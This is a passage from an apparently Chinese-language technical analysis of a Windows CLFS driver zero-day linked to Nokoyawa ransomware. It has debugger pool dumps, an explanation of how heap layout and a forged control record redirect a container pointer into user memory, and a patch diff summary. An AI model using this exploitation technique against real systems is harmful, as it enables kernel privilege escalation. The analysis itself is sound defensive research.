 ffffa28919254080 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254120 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa289192541c0 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254260 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254300 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa289192543a0 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254440 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa289192544e0 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254580 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254620 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa289192546c0 size:   a0 previous size:    0  (Allocated)  Clfs
 ffffa28919254760 size:   a0 previous size:    0  (Free)       Vad
*ffffa28919254800 size:   a0 previous size:    0  (Allocated) *Clfs
		Pooltag Clfs : CLFS General buffer, or owner page lookaside list, Binary : clfs.sys
 ffffa289192548a0 size:   a0 previous size:    0  (Allocated)  Clfs
 ffffa28919254940 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa289192549e0 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254a80 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254b20 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254bc0 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254c60 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254d00 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254da0 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254e40 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254ee0 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300

当使用0x1c8访问时会产生越界,此时读取到的实际是使用pipe WriteFile时申请的堆,此前通过pipe写入了主blf文件的base block+0x30,所以该处读取到的地址实际上是主blf文件的base block + 0x30。

经过poi(poi(CClfsBaseFilePersisted+0x30)+0x1c8)+0x28运算会取到主blf文件的base block + 0x58的位置,而该位置值已经被修改为了0x369.

0: kd> dq ffffa289`19254810 + 0x1c8
ffffa289`192549d8  ffffe381`a2303030 7246704e`0a0a0000
ffffa289`192549e8  5e85fe62`4567d0ee ffffe381`a9cb4258
ffffa289`192549f8  ffffe381`a9cb4258 00000000`00000000
ffffa289`19254a08  ffffe381`a90c79c0 00000060`00000000
ffffa289`19254a18  00000000`00000060 ffffe381`a2303030
ffffa289`19254a28  ffffe381`a2303030 ffffe381`a2303030
ffffa289`19254a38  ffffe381`a2303030 ffffe381`a2303030
ffffa289`19254a48  ffffe381`a2303030 ffffe381`a2303030
0: kd> !pool ffffa289`19254810+0x1c8
Pool page ffffa289192549d8 region is Nonpaged pool
 ffffa28919254080 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254120 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa289192541c0 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254260 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254300 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa289192543a0 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254440 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa289192544e0 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254580 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254620 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa289192546c0 size:   a0 previous size:    0  (Allocated)  Clfs
 ffffa28919254760 size:   a0 previous size:    0  (Free)       Vad
 ffffa28919254800 size:   a0 previous size:    0  (Allocated)  Clfs
 ffffa289192548a0 size:   a0 previous size:    0  (Allocated)  Clfs
*ffffa28919254940 size:   a0 previous size:    0  (Allocated) *NpFr Process: ffffa28915324300
		Pooltag NpFr : DATA_ENTRY records (read/write buffers), Binary : npfs.sys
 ffffa289192549e0 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254a80 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254b20 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254bc0 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254c60 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254d00 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254da0 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254e40 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300
 ffffa28919254ee0 size:   a0 previous size:    0  (Allocated)  NpFr Process: ffffa28915324300

之后通过运算poi(0x369+ base block + 0x30)++实际上让主blf文件的base block+0x399自增1。最终在对主blf文件调用CreateLogFile是定位到的container context偏移为0x1570,找到了攻击者伪造的恶意contener context,在通过pContainer对象执行到了用户层内存0x5000000之中。

补丁分析

Win10 21H2

diff补丁,可发现补丁主要修改了CClfsBaseFile::GetControlRecord、CClfsBaseFile::AcquireMetadataBlock,同时新增了一个函数CClfsLogFcbPhysical::ValidateScratchBlockOffsets,在CClfsLogFcbPhysical::SetEndOfLog和CClfsLogFcbPhysical::RecoverTruncateLog中引用。

Win11 21H2

小结

在CVE-2022-37969中是通过前一个blf文件的错误的cbSymbolZone修改了下一个blf文件的conteiner context的pContaienr对象指针,从而在后续定位CClfsContainer对象时访问到了用户层内存,达成攻击流程,该漏洞利用需要通过循环创建blf文件来达到稳定的堆内存结构,从而使得后续可以成功修改后面的blf文件的conteiner context。

在CVE-2022-37969补丁中增加了对client context、cbSymbolZone越界检测,从而不能直接通过这种方法损坏conteiner context对象指针。

在本次漏洞利用中,巧妙地通过伪造control record的数据来造成越界读取,从而修改另外的base block数据,该处修改是通过指针定位到指定的内存,所以不用像CVE-2022-37969中通过反复创建blf文件来达成一种稳定的内存间隙状态,但利用过程中仍然需要通过布局内存使得在越界读取时读取到的是指定的内存地址。

参考链接

https://www.secrss.com/articles/54881

https://www.anquanke.com/post/id/288808

https://securelist.com/nokoyawa-ransomware-attacks-with-windows-zero-day/109483/

Created at 2023-05-31T19:44:15+08:00

创建于:Wednesday, May 31,2023
最后修改于: Tuesday, January 2,2024